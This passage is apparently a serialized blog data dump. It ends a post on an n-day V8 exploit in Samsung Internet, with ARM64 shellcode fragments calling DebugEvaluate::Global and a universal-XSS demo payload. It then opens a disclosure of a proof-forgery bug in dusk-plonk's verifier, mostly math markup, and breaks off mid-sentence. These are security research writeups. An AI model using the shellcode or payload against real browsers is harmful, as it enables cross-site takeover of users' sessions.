#0\n",{"type":25,"tag":271,"props":154056,"children":154057},{"class":13593,"line":37032},[154058],{"type":25,"tag":271,"props":154059,"children":154060},{},[154061],{"type":30,"value":154062},"// arg4 = length\n",{"type":25,"tag":271,"props":154064,"children":154065},{"class":13593,"line":45393},[154066],{"type":25,"tag":271,"props":154067,"children":154068},{},[154069],{"type":30,"value":154070},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":25,"tag":271,"props":154072,"children":154073},{"class":13593,"line":45414},[154074],{"type":25,"tag":271,"props":154075,"children":154076},{},[154077],{"type":30,"value":154078},"// call NewFromUTF8\n",{"type":25,"tag":271,"props":154080,"children":154081},{"class":13593,"line":94064},[154082],{"type":25,"tag":271,"props":154083,"children":154084},{},[154085],{"type":30,"value":154086},"blr x10\n",{"type":25,"tag":271,"props":154088,"children":154089},{"class":13593,"line":94077},[154090],{"type":25,"tag":271,"props":154091,"children":154092},{"emptyLinePlaceholder":18},[154093],{"type":30,"value":16829},{"type":25,"tag":271,"props":154095,"children":154096},{"class":13593,"line":94085},[154097],{"type":25,"tag":271,"props":154098,"children":154099},{},[154100],{"type":30,"value":154101},"// store x14 = String XSS_PAYLOAD\n",{"type":25,"tag":271,"props":154103,"children":154104},{"class":13593,"line":94093},[154105],{"type":25,"tag":271,"props":154106,"children":154107},{},[154108],{"type":30,"value":154109},"mov x14, x0\n",{"type":25,"tag":271,"props":154111,"children":154112},{"class":13593,"line":94101},[154113],{"type":25,"tag":271,"props":154114,"children":154115},{"emptyLinePlaceholder":18},[154116],{"type":30,"value":16829},{"type":25,"tag":271,"props":154118,"children":154119},{"class":13593,"line":94141},[154120],{"type":25,"tag":271,"props":154121,"children":154122},{},[154123],{"type":30,"value":154124},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":25,"tag":271,"props":154126,"children":154127},{"class":13593,"line":94149},[154128],{"type":25,"tag":271,"props":154129,"children":154130},{},[154131],{"type":30,"value":154132},"movz x1, #0xe44c\n",{"type":25,"tag":271,"props":154134,"children":154135},{"class":13593,"line":101336},[154136],{"type":25,"tag":271,"props":154137,"children":154138},{},[154139],{"type":30,"value":154140},"movk x1, #0x014e, lsl #16\n",{"type":25,"tag":271,"props":154142,"children":154143},{"class":13593,"line":101344},[154144],{"type":25,"tag":271,"props":154145,"children":154146},{},[154147],{"type":30,"value":154148},"sub x9, x12, x1\n",{"type":25,"tag":271,"props":154150,"children":154151},{"class":13593,"line":114671},[154152],{"type":25,"tag":271,"props":154153,"children":154154},{"emptyLinePlaceholder":18},[154155],{"type":30,"value":16829},{"type":25,"tag":271,"props":154157,"children":154158},{"class":13593,"line":114679},[154159],{"type":25,"tag":271,"props":154160,"children":154161},{},[154162],{"type":30,"value":154163},"// call v8::internal::DebugEvaluate::Global\n",{"type":25,"tag":271,"props":154165,"children":154166},{"class":13593,"line":114687},[154167],{"type":25,"tag":271,"props":154168,"children":154169},{},[154170],{"type":30,"value":154014},{"type":25,"tag":271,"props":154172,"children":154173},{"class":13593,"line":114695},[154174],{"type":25,"tag":271,"props":154175,"children":154176},{},[154177],{"type":30,"value":154022},{"type":25,"tag":271,"props":154179,"children":154180},{"class":13593,"line":114723},[154181],{"type":25,"tag":271,"props":154182,"children":154183},{},[154184],{"type":30,"value":154185},"// arg1 = String *source\n",{"type":25,"tag":271,"props":154187,"children":154188},{"class":13593,"line":117494},[154189],{"type":25,"tag":271,"props":154190,"children":154191},{},[154192],{"type":30,"value":154193},"mov x1, x14\n",{"type":25,"tag":271,"props":154195,"children":154196},{"class":13593,"line":117502},[154197],{"type":25,"tag":271,"props":154198,"children":154199},{},[154200],{"type":30,"value":154201},"// arg2 = mode = kDefault\n",{"type":25,"tag":271,"props":154203,"children":154205},{"class":13593,"line":154204},69,[154206],{"type":25,"tag":271,"props":154207,"children":154208},{},[154209],{"type":30,"value":154054},{"type":25,"tag":271,"props":154211,"children":154213},{"class":13593,"line":154212},70,[154214],{"type":25,"tag":271,"props":154215,"children":154216},{},[154217],{"type":30,"value":154218},"// arg3 = repl_mode = kYes\n",{"type":25,"tag":271,"props":154220,"children":154222},{"class":13593,"line":154221},71,[154223],{"type":25,"tag":271,"props":154224,"children":154225},{},[154226],{"type":30,"value":154227},"mov x3, #0\n",{"type":25,"tag":271,"props":154229,"children":154231},{"class":13593,"line":154230},72,[154232],{"type":25,"tag":271,"props":154233,"children":154234},{"emptyLinePlaceholder":18},[154235],{"type":30,"value":16829},{"type":25,"tag":271,"props":154237,"children":154239},{"class":13593,"line":154238},73,[154240],{"type":25,"tag":271,"props":154241,"children":154242},{},[154243],{"type":30,"value":153740},{"type":25,"tag":247,"props":154245,"children":154247},{"id":154246},"uxss-demo",[154248],{"type":30,"value":154249},"UXSS Demo",{"type":25,"tag":26,"props":154251,"children":154252},{},[154253,154255,154261],{"type":30,"value":154254},"Below is a demo that executes the following UXSS payload: ",{"type":25,"tag":264,"props":154256,"children":154258},{"className":154257},[],[154259],{"type":30,"value":154260},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":30,"value":1860},{"type":25,"tag":144298,"props":154263,"children":154266},{"className":154264,"controls":18},[154265],"blog-video-responsive",[154267,154269,154273],{"type":30,"value":154268},"\n  ",{"type":25,"tag":153504,"props":154270,"children":154272},{"src":154271,"type":144296},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":30,"value":154274},"\n  Your browser does not support the video tag.\n",{"type":25,"tag":96,"props":154276,"children":154277},{"id":42044},[154278],{"type":30,"value":32068},{"type":25,"tag":26,"props":154280,"children":154281},{},[154282],{"type":30,"value":154283},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":25,"tag":26,"props":154285,"children":154286},{},[154287],{"type":30,"value":154288},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":25,"tag":15963,"props":154290,"children":154291},{},[154292],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":154294},[154295,154299,154302,154312],{"id":42127,"depth":11641,"text":42130,"children":154296},[154297,154298],{"id":144432,"depth":14354,"text":144435},{"id":144515,"depth":14354,"text":144518},{"id":144548,"depth":11641,"text":144551,"children":154300},[154301],{"id":144689,"depth":14354,"text":144543},{"id":144833,"depth":11641,"text":144836,"children":154303},[154304,154305,154306,154307,154308,154309,154310,154311],{"id":144839,"depth":14354,"text":144842},{"id":145296,"depth":14354,"text":145299},{"id":145479,"depth":14354,"text":145482},{"id":145590,"depth":14354,"text":145593},{"id":145867,"depth":14354,"text":145870},{"id":148577,"depth":14354,"text":148580},{"id":151858,"depth":14354,"text":151861},{"id":154246,"depth":14354,"text":154249},{"id":42044,"depth":11641,"text":32068},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":154317,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":154318,"description":154319,"date":154320,"author":154321,"image":154322,"isFeatured":18,"onBlogPage":18,"tags":154324,"body":154327,"_type":16004,"_id":159591,"_source":16006,"_file":159592,"_stem":159593,"_extension":16009},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[12,13],{"src":154323,"width":16,"height":17},"/posts/dusk-commitment-issues/title.png",[154325,154326],"dusk","plonk",{"type":22,"children":154328,"toc":159571},[154329,154335,154376,154388,154394,154408,154413,154419,154710,154714,154986,155216,155222,155907,155911,156406,156414,156420,156439,156444,156450,156675,156714,156725,156731,156742,157450,157455,157458,157464,157517,157552,157584,157589,157593,157596,157602,157613,157626,157657,157724,157732,157754,157767,158194,158217,158222,158225,158230,158257,158353,158364,158411,158449,158460,158798,158815,158823,158826,158832,158837,158871,158879,158960,158963,158969,158983,159001,159006,159046,159054,159075,159078,159084,159089,159154,159168,159171,159177,159217,159228,159233,159238,159244,159258,159339,159360,159387,159390,159396,159410,159415,159420,159425,159560,159566],{"type":25,"tag":48484,"props":154330,"children":154332},{"id":154331},"commitment-issues-unverified-evaluations-in-dusks-plonk",[154333],{"type":30,"value":154334},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":25,"tag":26,"props":154336,"children":154337},{},[154338,154340,154347,154349,154356,154358,154365,154367,154374],{"type":30,"value":154339},"We found a critical soundness vulnerability in ",{"type":25,"tag":83,"props":154341,"children":154344},{"href":154342,"rel":154343},"https://github.com/dusk-network/plonk/",[9066],[154345],{"type":30,"value":154346},"dusk-plonk",{"type":30,"value":154348},", the PLONK implementation powering ",{"type":25,"tag":83,"props":154350,"children":154353},{"href":154351,"rel":154352},"https://dusk.network/",[9066],[154354],{"type":30,"value":154355},"Dusk Network's",{"type":30,"value":154357}," ~$60M ",{"type":25,"tag":83,"props":154359,"children":154362},{"href":154360,"rel":154361},"https://www.coingecko.com/en/coins/dusk",[9066],[154363],{"type":30,"value":154364},"market cap",{"type":30,"value":154366},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":25,"tag":83,"props":154368,"children":154371},{"href":154369,"rel":154370},"https://github.com/dusk-network/rusk",[9066],[154372],{"type":30,"value":154373},"Rusk",{"type":30,"value":154375}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":25,"tag":26,"props":154377,"children":154378},{},[154379,154381,154386],{"type":30,"value":154380},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":25,"tag":38,"props":154382,"children":154383},{},[154384],{"type":30,"value":154385},"without ever validating them against the trusted commitments in the verifier key.",{"type":30,"value":154387}," The prover can set them to whatever values make the equation pass.",{"type":25,"tag":96,"props":154389,"children":154391},{"id":154390},"how-plonk-works-briefly",[154392],{"type":30,"value":154393},"How PLONK works (briefly)",{"type":25,"tag":26,"props":154395,"children":154396},{},[154397,154399,154406],{"type":30,"value":154398},"For a rigorous treatment see the ",{"type":25,"tag":83,"props":154400,"children":154403},{"href":154401,"rel":154402},"https://eprint.iacr.org/2019/953",[9066],[154404],{"type":30,"value":154405},"original paper",{"type":30,"value":154407},"; what follows covers only the parts needed to understand the bug.",{"type":25,"tag":26,"props":154409,"children":154410},{},[154411],{"type":30,"value":154412},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":25,"tag":247,"props":154414,"children":154416},{"id":154415},"arithmetic-circuits-and-constraints",[154417],{"type":30,"value":154418},"Arithmetic circuits and constraints",{"type":25,"tag":26,"props":154420,"children":154421},{},[154422,154424,154473,154475,154624,154626,154709],{"type":30,"value":154423},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":25,"tag":264,"props":154425,"children":154427},{"className":154426},[267,268],[154428],{"type":25,"tag":271,"props":154429,"children":154431},{"className":154430},[274],[154432],{"type":25,"tag":271,"props":154433,"children":154435},{"className":154434,"ariaHidden":280},[279],[154436],{"type":25,"tag":271,"props":154437,"children":154439},{"className":154438},[285],[154440,154444,154449,154454,154459,154463,154468],{"type":25,"tag":271,"props":154441,"children":154443},{"className":154442,"style":375},[290],[],{"type":25,"tag":271,"props":154445,"children":154447},{"className":154446},[391],[154448],{"type":30,"value":394},{"type":25,"tag":271,"props":154450,"children":154452},{"className":154451},[296,297],[154453],{"type":30,"value":1136},{"type":25,"tag":271,"props":154455,"children":154457},{"className":154456},[404],[154458],{"type":30,"value":407},{"type":25,"tag":271,"props":154460,"children":154462},{"className":154461,"style":411},[337],[],{"type":25,"tag":271,"props":154464,"children":154466},{"className":154465,"style":1555},[296,297],[154467],{"type":30,"value":16256},{"type":25,"tag":271,"props":154469,"children":154471},{"className":154470},[437],[154472],{"type":30,"value":440},{"type":30,"value":154474}," on an elliptic curve, by e.g proving that ",{"type":25,"tag":264,"props":154476,"children":154478},{"className":154477},[267,268],[154479],{"type":25,"tag":271,"props":154480,"children":154482},{"className":154481},[274],[154483],{"type":25,"tag":271,"props":154484,"children":154486},{"className":154485,"ariaHidden":280},[279],[154487,154549,154611],{"type":25,"tag":271,"props":154488,"children":154490},{"className":154489},[285],[154491,154495,154536,154540,154545],{"type":25,"tag":271,"props":154492,"children":154494},{"className":154493,"style":15737},[290],[],{"type":25,"tag":271,"props":154496,"children":154498},{"className":154497},[296],[154499,154504],{"type":25,"tag":271,"props":154500,"children":154502},{"className":154501,"style":1555},[296,297],[154503],{"type":30,"value":16256},{"type":25,"tag":271,"props":154505,"children":154507},{"className":154506},[982],[154508],{"type":25,"tag":271,"props":154509,"children":154511},{"className":154510},[987],[154512],{"type":25,"tag":271,"props":154513,"children":154515},{"className":154514},[992],[154516],{"type":25,"tag":271,"props":154517,"children":154519},{"className":154518,"style":7693},[997],[154520],{"type":25,"tag":271,"props":154521,"children":154522},{"style":1002},[154523,154527],{"type":25,"tag":271,"props":154524,"children":154526},{"className":154525,"style":1008},[1007],[],{"type":25,"tag":271,"props":154528,"children":154530},{"className":154529},[1013,1014,1015,1016],[154531],{"type":25,"tag":271,"props":154532,"children":154534},{"className":154533},[296,1016],[154535],{"type":30,"value":1326},{"type":25,"tag":271,"props":154537,"children":154539},{"className":154538,"style":338},[337],[],{"type":25,"tag":271,"props":154541,"children":154543},{"className":154542},[356],[154544],{"type":30,"value":1065},{"type":25,"tag":271,"props":154546,"children":154548},{"className":154547,"style":338},[337],[],{"type":25,"tag":271,"props":154550,"children":154552},{"className":154551},[285],[154553,154557,154598,154602,154607],{"type":25,"tag":271,"props":154554,"children":154556},{"className":154555,"style":15612},[290],[],{"type":25,"tag":271,"props":154558,"children":154560},{"className":154559},[296],[154561,154566],{"type":25,"tag":271,"props":154562,"children":154564},{"className":154563},[296,297],[154565],{"type":30,"value":1136},{"type":25,"tag":271,"props":154567,"children":154569},{"className":154568},[982],[154570],{"type":25,"tag":271,"props":154571,"children":154573},{"className":154572},[987],[154574],{"type":25,"tag":271,"props":154575,"children":154577},{"className":154576},[992],[154578],{"type":25,"tag":271,"props":154579,"children":154581},{"className":154580,"style":7693},[997],[154582],{"type":25,"tag":271,"props":154583,"children":154584},{"style":1002},[154585,154589],{"type":25,"tag":271,"props":154586,"children":154588},{"className":154587,"style":1008},[1007],[],{"type":25,"tag":271,"props":154590,"children":154592},{"className":154591},[1013,1014,1015,1016],[154593],{"type":25,"tag":271,"props":154594,"children":154596},{"className":154595},[296,1016],[154597],{"type":30,"value":7711},{"type":25,"tag":271,"props":154599,"children":154601},{"className":154600,"style":2066},[337],[],{"type":25,"tag":271,"props":154603,"children":154605},{"className":154604},[2071],[154606],{"type":30,"value":2074},{"type":25,"tag":271,"props":154608,"children":154610},{"className":154609,"style":2066},[337],[],{"type":25,"tag":271,"props":154612,"children":154614},{"className":154613},[285],[154615,154619],{"type":25,"tag":271,"props":154616,"children":154618},{"className":154617,"style":3128},[290],[],{"type":25,"tag":271,"props":154620,"children":154622},{"className":154621},[296],[154623],{"type":30,"value":67787},{"type":30,"value":154625},", here in ",{"type":25,"tag":264,"props":154627,"children":154629},{"className":154628},[267,268],[154630],{"type":25,"tag":271,"props":154631,"children":154633},{"className":154632},[274],[154634],{"type":25,"tag":271,"props":154635,"children":154637},{"className":154636,"ariaHidden":280},[279],[154638],{"type":25,"tag":271,"props":154639,"children":154641},{"className":154640},[285],[154642,154647],{"type":25,"tag":271,"props":154643,"children":154646},{"className":154644,"style":154645},[290],"height:0.8389em;vertical-align:-0.15em;",[],{"type":25,"tag":271,"props":154648,"children":154650},{"className":154649},[296],[154651,154656],{"type":25,"tag":271,"props":154652,"children":154654},{"className":154653},[296,14151],[154655],{"type":30,"value":14154},{"type":25,"tag":271,"props":154657,"children":154659},{"className":154658},[982],[154660],{"type":25,"tag":271,"props":154661,"children":154663},{"className":154662},[987,1100],[154664,154698],{"type":25,"tag":271,"props":154665,"children":154667},{"className":154666},[992],[154668,154693],{"type":25,"tag":271,"props":154669,"children":154671},{"className":154670,"style":1588},[997],[154672],{"type":25,"tag":271,"props":154673,"children":154674},{"style":1592},[154675,154679],{"type":25,"tag":271,"props":154676,"children":154678},{"className":154677,"style":1008},[1007],[],{"type":25,"tag":271,"props":154680,"children":154682},{"className":154681},[1013,1014,1015,1016],[154683],{"type":25,"tag":271,"props":154684,"children":154686},{"className":154685},[296,1016],[154687],{"type":25,"tag":271,"props":154688,"children":154690},{"className":154689},[296,1016],[154691],{"type":30,"value":154692},"37",{"type":25,"tag":271,"props":154694,"children":154696},{"className":154695},[1177],[154697],{"type":30,"value":1180},{"type":25,"tag":271,"props":154699,"children":154701},{"className":154700},[992],[154702],{"type":25,"tag":271,"props":154703,"children":154705},{"className":154704,"style":1619},[997],[154706],{"type":25,"tag":271,"props":154707,"children":154708},{},[],{"type":30,"value":1860},{"type":25,"tag":154711,"props":154712,"children":154713},"arithmetic-circuit-widget",{},[],{"type":25,"tag":26,"props":154715,"children":154716},{},[154717,154719,154745,154747,154826,154828,154905,154907,154984],{"type":30,"value":154718},"Each gate ",{"type":25,"tag":264,"props":154720,"children":154722},{"className":154721},[267,268],[154723],{"type":25,"tag":271,"props":154724,"children":154726},{"className":154725},[274],[154727],{"type":25,"tag":271,"props":154728,"children":154730},{"className":154729,"ariaHidden":280},[279],[154731],{"type":25,"tag":271,"props":154732,"children":154734},{"className":154733},[285],[154735,154740],{"type":25,"tag":271,"props":154736,"children":154739},{"className":154737,"style":154738},[290],"height:0.6595em;",[],{"type":25,"tag":271,"props":154741,"children":154743},{"className":154742},[296,297],[154744],{"type":30,"value":1937},{"type":30,"value":154746}," has a left input ",{"type":25,"tag":264,"props":154748,"children":154750},{"className":154749},[267,268],[154751],{"type":25,"tag":271,"props":154752,"children":154754},{"className":154753},[274],[154755],{"type":25,"tag":271,"props":154756,"children":154758},{"className":154757,"ariaHidden":280},[279],[154759],{"type":25,"tag":271,"props":154760,"children":154762},{"className":154761},[285],[154763,154768],{"type":25,"tag":271,"props":154764,"children":154767},{"className":154765,"style":154766},[290],"height:0.8444em;vertical-align:-0.15em;",[],{"type":25,"tag":271,"props":154769,"children":154771},{"className":154770},[296],[154772,154777],{"type":25,"tag":271,"props":154773,"children":154775},{"className":154774,"style":106168},[296,297],[154776],{"type":30,"value":106171},{"type":25,"tag":271,"props":154778,"children":154780},{"className":154779},[982],[154781],{"type":25,"tag":271,"props":154782,"children":154784},{"className":154783},[987,1100],[154785,154815],{"type":25,"tag":271,"props":154786,"children":154788},{"className":154787},[992],[154789,154810],{"type":25,"tag":271,"props":154790,"children":154792},{"className":154791,"style":1918},[997],[154793],{"type":25,"tag":271,"props":154794,"children":154796},{"style":154795},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[154797,154801],{"type":25,"tag":271,"props":154798,"children":154800},{"className":154799,"style":1008},[1007],[],{"type":25,"tag":271,"props":154802,"children":154804},{"className":154803},[1013,1014,1015,1016],[154805],{"type":25,"tag":271,"props":154806,"children":154808},{"className":154807},[296,297,1016],[154809],{"type":30,"value":1937},{"type":25,"tag":271,"props":154811,"children":154813},{"className":154812},[1177],[154814],{"type":30,"value":1180},{"type":25,"tag":271,"props":154816,"children":154818},{"className":154817},[992],[154819],{"type":25,"tag":271,"props":154820,"children":154822},{"className":154821,"style":1619},[997],[154823],{"type":25,"tag":271,"props":154824,"children":154825},{},[],{"type":30,"value":154827},", right input ",{"type":25,"tag":264,"props":154829,"children":154831},{"className":154830},[267,268],[154832],{"type":25,"tag":271,"props":154833,"children":154835},{"className":154834},[274],[154836],{"type":25,"tag":271,"props":154837,"children":154839},{"className":154838,"ariaHidden":280},[279],[154840],{"type":25,"tag":271,"props":154841,"children":154843},{"className":154842},[285],[154844,154848],{"type":25,"tag":271,"props":154845,"children":154847},{"className":154846,"style":2287},[290],[],{"type":25,"tag":271,"props":154849,"children":154851},{"className":154850},[296],[154852,154857],{"type":25,"tag":271,"props":154853,"children":154855},{"className":154854,"style":2296},[296,297],[154856],{"type":30,"value":2299},{"type":25,"tag":271,"props":154858,"children":154860},{"className":154859},[982],[154861],{"type":25,"tag":271,"props":154862,"children":154864},{"className":154863},[987,1100],[154865,154894],{"type":25,"tag":271,"props":154866,"children":154868},{"className":154867},[992],[154869,154889],{"type":25,"tag":271,"props":154870,"children":154872},{"className":154871,"style":1918},[997],[154873],{"type":25,"tag":271,"props":154874,"children":154875},{"style":2318},[154876,154880],{"type":25,"tag":271,"props":154877,"children":154879},{"className":154878,"style":1008},[1007],[],{"type":25,"tag":271,"props":154881,"children":154883},{"className":154882},[1013,1014,1015,1016],[154884],{"type":25,"tag":271,"props":154885,"children":154887},{"className":154886},[296,297,1016],[154888],{"type":30,"value":1937},{"type":25,"tag":271,"props":154890,"children":154892},{"className":154891},[1177],[154893],{"type":30,"value":1180},{"type":25,"tag":271,"props":154895,"children":154897},{"className":154896},[992],[154898],{"type":25,"tag":271,"props":154899,"children":154901},{"className":154900,"style":1619},[997],[154902],{"type":25,"tag":271,"props":154903,"children":154904},{},[],{"type":30,"value":154906},", and output ",{"type":25,"tag":264,"props":154908,"children":154910},{"className":154909},[267,268],[154911],{"type":25,"tag":271,"props":154912,"children":154914},{"className":154913},[274],[154915],{"type":25,"tag":271,"props":154916,"children":154918},{"className":154917,"ariaHidden":280},[279],[154919],{"type":25,"tag":271,"props":154920,"children":154922},{"className":154921},[285],[154923,154927],{"type":25,"tag":271,"props":154924,"children":154926},{"className":154925,"style":2287},[290],[],{"type":25,"tag":271,"props":154928,"children":154930},{"className":154929},[296],[154931,154936],{"type":25,"tag":271,"props":154932,"children":154934},{"className":154933},[296,297],[154935],{"type":30,"value":106127},{"type":25,"tag":271,"props":154937,"children":154939},{"className":154938},[982],[154940],{"type":25,"tag":271,"props":154941,"children":154943},{"className":154942},[987,1100],[154944,154973],{"type":25,"tag":271,"props":154945,"children":154947},{"className":154946},[992],[154948,154968],{"type":25,"tag":271,"props":154949,"children":154951},{"className":154950,"style":1918},[997],[154952],{"type":25,"tag":271,"props":154953,"children":154954},{"style":1592},[154955,154959],{"type":25,"tag":271,"props":154956,"children":154958},{"className":154957,"style":1008},[1007],[],{"type":25,"tag":271,"props":154960,"children":154962},{"className":154961},[1013,1014,1015,1016],[154963],{"type":25,"tag":271,"props":154964,"children":154966},{"className":154965},[296,297,1016],[154967],{"type":30,"value":1937},{"type":25,"tag":271,"props":154969,"children":154971},{"className":154970},[1177],[154972],{"type":30,"value":1180},{"type":25,"tag":271,"props":154974,"children":154976},{"className":154975},[992],[154977],{"type":25,"tag":271,"props":154978,"children":154980},{"className":154979,"style":1619},[997],[154981],{"type":25,"tag":271,"props":154982,"children":154983},{},[],{"type":30,"value":154985},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":25,"tag":26,"props":154987,"children":154988},{},[154989,154991,154996,154998,155102,155104,155207,155209,155214],{"type":30,"value":154990},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":25,"tag":10281,"props":154992,"children":154993},{},[154994],{"type":30,"value":154995},"selector",{"type":30,"value":154997}," values that act as switches: setting ",{"type":25,"tag":264,"props":154999,"children":155001},{"className":155000},[267,268],[155002],{"type":25,"tag":271,"props":155003,"children":155005},{"className":155004},[274],[155006],{"type":25,"tag":271,"props":155007,"children":155009},{"className":155008,"ariaHidden":280},[279],[155010,155089],{"type":25,"tag":271,"props":155011,"children":155013},{"className":155012},[285],[155014,155018,155076,155080,155085],{"type":25,"tag":271,"props":155015,"children":155017},{"className":155016,"style":2207},[290],[],{"type":25,"tag":271,"props":155019,"children":155021},{"className":155020},[296],[155022,155027],{"type":25,"tag":271,"props":155023,"children":155025},{"className":155024,"style":1555},[296,297],[155026],{"type":30,"value":106639},{"type":25,"tag":271,"props":155028,"children":155030},{"className":155029},[982],[155031],{"type":25,"tag":271,"props":155032,"children":155034},{"className":155033},[987,1100],[155035,155065],{"type":25,"tag":271,"props":155036,"children":155038},{"className":155037},[992],[155039,155060],{"type":25,"tag":271,"props":155040,"children":155043},{"className":155041,"style":155042},[997],"height:0.3283em;",[155044],{"type":25,"tag":271,"props":155045,"children":155046},{"style":1922},[155047,155051],{"type":25,"tag":271,"props":155048,"children":155050},{"className":155049,"style":1008},[1007],[],{"type":25,"tag":271,"props":155052,"children":155054},{"className":155053},[1013,1014,1015,1016],[155055],{"type":25,"tag":271,"props":155056,"children":155058},{"className":155057,"style":108152},[296,297,1016],[155059],{"type":30,"value":108155},{"type":25,"tag":271,"props":155061,"children":155063},{"className":155062},[1177],[155064],{"type":30,"value":1180},{"type":25,"tag":271,"props":155066,"children":155068},{"className":155067},[992],[155069],{"type":25,"tag":271,"props":155070,"children":155072},{"className":155071,"style":1619},[997],[155073],{"type":25,"tag":271,"props":155074,"children":155075},{},[],{"type":25,"tag":271,"props":155077,"children":155079},{"className":155078,"style":338},[337],[],{"type":25,"tag":271,"props":155081,"children":155083},{"className":155082},[356],[155084],{"type":30,"value":1065},{"type":25,"tag":271,"props":155086,"children":155088},{"className":155087,"style":338},[337],[],{"type":25,"tag":271,"props":155090,"children":155092},{"className":155091},[285],[155093,155097],{"type":25,"tag":271,"props":155094,"children":155096},{"className":155095,"style":3128},[290],[],{"type":25,"tag":271,"props":155098,"children":155100},{"className":155099},[296],[155101],{"type":30,"value":968},{"type":30,"value":155103}," makes a row a multiplication gate, setting ",{"type":25,"tag":264,"props":155105,"children":155107},{"className":155106},[267,268],[155108],{"type":25,"tag":271,"props":155109,"children":155111},{"className":155110},[274],[155112],{"type":25,"tag":271,"props":155113,"children":155115},{"className":155114,"ariaHidden":280},[279],[155116,155194],{"type":25,"tag":271,"props":155117,"children":155119},{"className":155118},[285],[155120,155124,155181,155185,155190],{"type":25,"tag":271,"props":155121,"children":155123},{"className":155122,"style":2207},[290],[],{"type":25,"tag":271,"props":155125,"children":155127},{"className":155126},[296],[155128,155133],{"type":25,"tag":271,"props":155129,"children":155131},{"className":155130,"style":1555},[296,297],[155132],{"type":30,"value":106639},{"type":25,"tag":271,"props":155134,"children":155136},{"className":155135},[982],[155137],{"type":25,"tag":271,"props":155138,"children":155140},{"className":155139},[987,1100],[155141,155170],{"type":25,"tag":271,"props":155142,"children":155144},{"className":155143},[992],[155145,155165],{"type":25,"tag":271,"props":155146,"children":155148},{"className":155147,"style":155042},[997],[155149],{"type":25,"tag":271,"props":155150,"children":155151},{"style":1922},[155152,155156],{"type":25,"tag":271,"props":155153,"children":155155},{"className":155154,"style":1008},[1007],[],{"type":25,"tag":271,"props":155157,"children":155159},{"className":155158},[1013,1014,1015,1016],[155160],{"type":25,"tag":271,"props":155161,"children":155163},{"className":155162},[296,297,1016],[155164],{"type":30,"value":10316},{"type":25,"tag":271,"props":155166,"children":155168},{"className":155167},[1177],[155169],{"type":30,"value":1180},{"type":25,"tag":271,"props":155171,"children":155173},{"className":155172},[992],[155174],{"type":25,"tag":271,"props":155175,"children":155177},{"className":155176,"style":1619},[997],[155178],{"type":25,"tag":271,"props":155179,"children":155180},{},[],{"type":25,"tag":271,"props":155182,"children":155184},{"className":155183,"style":338},[337],[],{"type":25,"tag":271,"props":155186,"children":155188},{"className":155187},[356],[155189],{"type":30,"value":1065},{"type":25,"tag":271,"props":155191,"children":155193},{"className":155192,"style":338},[337],[],{"type":25,"tag":271,"props":155195,"children":155197},{"className":155196},[285],[155198,155202],{"type":25,"tag":271,"props":155199,"children":155201},{"className":155200,"style":3128},[290],[],{"type":25,"tag":271,"props":155203,"children":155205},{"className":155204},[296],[155206],{"type":30,"value":968},{"type":30,"value":155208}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":25,"tag":10281,"props":155210,"children":155211},{},[155212],{"type":30,"value":155213},"permutation argument",{"type":30,"value":155215}," for that, which we will not cover here.",{"type":25,"tag":247,"props":155217,"children":155219},{"id":155218},"from-many-checks-to-one",[155220],{"type":30,"value":155221},"From many checks to one",{"type":25,"tag":26,"props":155223,"children":155224},{},[155225,155227,155232,155233,155325,155326,155418,155419,155511,155513,155518,155519,155611,155612,155704,155706,155731,155733,155758,155760,155852,155854,155879,155881,155906],{"type":30,"value":155226},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":25,"tag":10281,"props":155228,"children":155229},{},[155230],{"type":30,"value":155231},"witness 